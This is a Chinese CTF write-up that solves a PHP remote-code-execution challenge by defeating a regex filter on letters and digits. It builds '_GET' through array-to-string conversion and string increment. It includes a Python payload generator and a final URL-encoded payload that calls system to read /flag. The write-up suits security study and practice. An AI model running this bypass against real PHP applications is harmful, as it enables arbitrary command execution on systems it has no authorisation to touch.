【CTF】【ez-rce】无字母数字绕过正则表达式

解题过程

进入实例,发现会自动跳转百度,使用burpsuit抓包,发现源码路径

访问./s3cret/rce.php,可以看到改题目的源码

正则如下:

plain 复制代码
[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]

被过滤的字符:

  • 所有字母 a-zA-Z
  • 所有数字 0-9
  • 特殊字符:@ # % ^ & * : { } - < ? > " | ~ `

意味着我们不能用异或^、或 |、取反 ~
可用字符: $ _ ( ) ; ' . + = ! / 和空格

所以我们要使用 PHP自增特性 + 数组转字符串 来构造字母:

  • 1.[ ] 空数组转字符串可得 "Array"
  • 2.用 !\[\] (true=1) 和 !!\[\] (false=0) 构造数字索引
  • 3.从 "Array" 提取字母,通过 ++ 自增得到其他字母

py脚本

python 复制代码
#!/usr/bin/env python3
"""
CTF Payload Generator
目标:绕过正则 /[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/
可用字符:$ _ ( ) [ ] ; ' . + = ! / 空格
"""
import re
import urllib.parse

# 正则表达式(用于验证)
banned_pattern = r'[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]'

def check_payload(payload):
    """检查payload是否包含被过滤字符"""
    matches = re.findall(banned_pattern, payload)
    return len(matches) == 0, matches

# === 核心原理 ===
# 1. [].'' 在PHP中得到 "Array"
# 2. ![] = true = 1 (作为数组索引)
# 3. !![] = false = 0 (作为数组索引)  
# 4. 字符串自增: 'a'++ = 'b', 'A'++ = 'B'

# "Array" 字符索引: A(0), r(1), r(2), a(3), y(4)

print("=" * 60)
print("CTF 无字母数字绕过 Payload 生成器")
print("=" * 60)

# === 方法:构造 $_GET 来传递任意命令 ===
# 目标:$_='_GET'; $$_[_]($$_[__]);
# 效果:$_GET['_']($_GET['__'])
# 使用:?shell=payload&_=system&__=ls

# 构造过程:
# 1. $_=[].'';           -> $_ = "Array"
# 2. $__=$_[!![]];       -> $__ = $_[0] = 'A'
# 3. $__++ (6次)         -> $__ = 'G'
# 4. $___=$_[!![]];      -> $___ = 'A'  
# 5. $___++ (4次)        -> $___ = 'E'
# 6. $____=$_[!![]];     -> $____ = 'A'
# 7. $____++ (19次)      -> $____ = 'T'
# 8. $_____='_'.$__.$___.$____; -> $_____ = '_GET'
# 9. $$_____[_]($$_____[__]);   -> $_GET[_]($_GET[__])

payload_parts = [
    "$_=[].''",                    # $_ = "Array"
    "$__=$_[!![]]",                # $__ = 'A' (索引0 = false = !![])
]

# 'A' -> 'G' 需要自增6次
for i in range(6):
    payload_parts.append("$__++")

payload_parts.append("$___=$_[!![]]")  # $___ = 'A'

# 'A' -> 'E' 需要自增4次
for i in range(4):
    payload_parts.append("$___++")

payload_parts.append("$____=$_[!![]]")  # $____ = 'A'

# 'A' -> 'T' 需要自增19次
for i in range(19):
    payload_parts.append("$____++")

payload_parts.append("$_____='_'.$__.$___.$____")  # $_____ = '_GET'
payload_parts.append("$$_____[_]($$_____[__])")    # $_GET[_]($_GET[__])

payload = ";".join(payload_parts) + ";"

print("\n【Payload】")
print(payload)
print()

# 验证
is_valid, bad_chars = check_payload(payload)
if is_valid:
    print("✓ Payload 通过正则检查!不包含被过滤字符")
else:
    print(f"✗ 警告:包含被过滤字符: {set(bad_chars)}")

print("\n【URL编码后的Payload】")
encoded_payload = urllib.parse.quote(payload)
print(encoded_payload)

print("\n" + "=" * 60)
print("【使用方法】")
print("=" * 60)
print(f"\n执行 ls 命令:")
print(f"?shell={encoded_payload}&_=system&__=ls")
print(f"\n执行 cat /flag:")
print(f"?shell={encoded_payload}&_=system&__=cat /flag")
print(f"\n执行任意命令:")
print(f"?shell={encoded_payload}&_=system&__=你的命令")

print("\n" + "=" * 60)
print("【原理解释】")
print("=" * 60)
print("""
1. [].'' 将空数组转为字符串 "Array"
2. !![] = false = 0, ![] = true = 1 (用作数组索引)
3. $_[0] = 'A', 通过 ++ 自增得到其他字母
4. 'A'++ → 'B' → 'C' → ... → 'G' (6次)
5. 'A'++ → 'B' → 'C' → 'D' → 'E' (4次)  
6. 'A'++ → ... → 'T' (19次)
7. 拼接得到 '_GET' 字符串
8. $$_____ 即 $_GET (可变变量)
9. $_GET[_]($_GET[__]) 从URL参数获取函数名和参数
""")

最终payload:

bash 复制代码
?shell=%24_%3D%5B%5D.%27%27%3B%24__%3D%24_%5B%21%21%5B%5D%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%24_%5B%21%21%5B%5D%5D%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24____%3D%24_%5B%21%21%5B%5D%5D%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24_____%3D%27_%27.%24__.%24___.%24____%3B%24%24_____%5B_%5D%28%24%24_____%5B__%5D%29%3B&_=system&__=cat /flag 


总结

这道题的难点在于过滤了字符(^ | ~ %),所以异或/或/取反方法都不能直接用,需要使用 PHP自增+数组转字符串 的方法来构造任意字母。

相关推荐
TlSfoward15 小时前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
2501_9364156915 小时前
API-正则表达式&时间&包装类
正则表达式
—Miss. Z—18 小时前
计算机二级MySQL——简单应用题(存储过程&存储函数)
数据库·oracle·php
故乡de云18 小时前
AWS 添加付款方式失败排查清单:卡片、银行风控与账号状态逐项定位
开发语言·php
梦梦代码精19 小时前
基于ThinkPHP6 + Vue3的家政预约系统全解析:从LBS定位到自动派单的完整实现
java·docker·开源·php·代码规范
郑州光合科技余经理20 小时前
家政O2O平台解析:从0搭建上门预约小程序解决方案
android·java·开发语言·前端·小程序·架构·php
lxw184491251421 小时前
PHP后端(CI框架方向)面试题库,分为基础必问、MySQL、Redis、工程运维、高阶加分、场景实操六大模块,适配该JD全部考点,附带标准答案
ci/cd·面试·php
郑州光合科技余经理21 小时前
家政预约小程序后端源码深度剖析:支付回调实战
java·开发语言·前端·git·小程序·架构·php
weixin_408099672 天前
2026 图片去水印 API 接口完全指南:一键去除图片水印(附 Python/Java/PHP/C# 示例)
java·python·php·图片处理·api调用·图片去水印·石榴智能
王莎莎-MinerU2 天前
MCP 解决的是工具接入,科研 Agent 还缺的是科学证据接口标准化
开发语言·网络·人工智能·深度学习·pdf·c#·php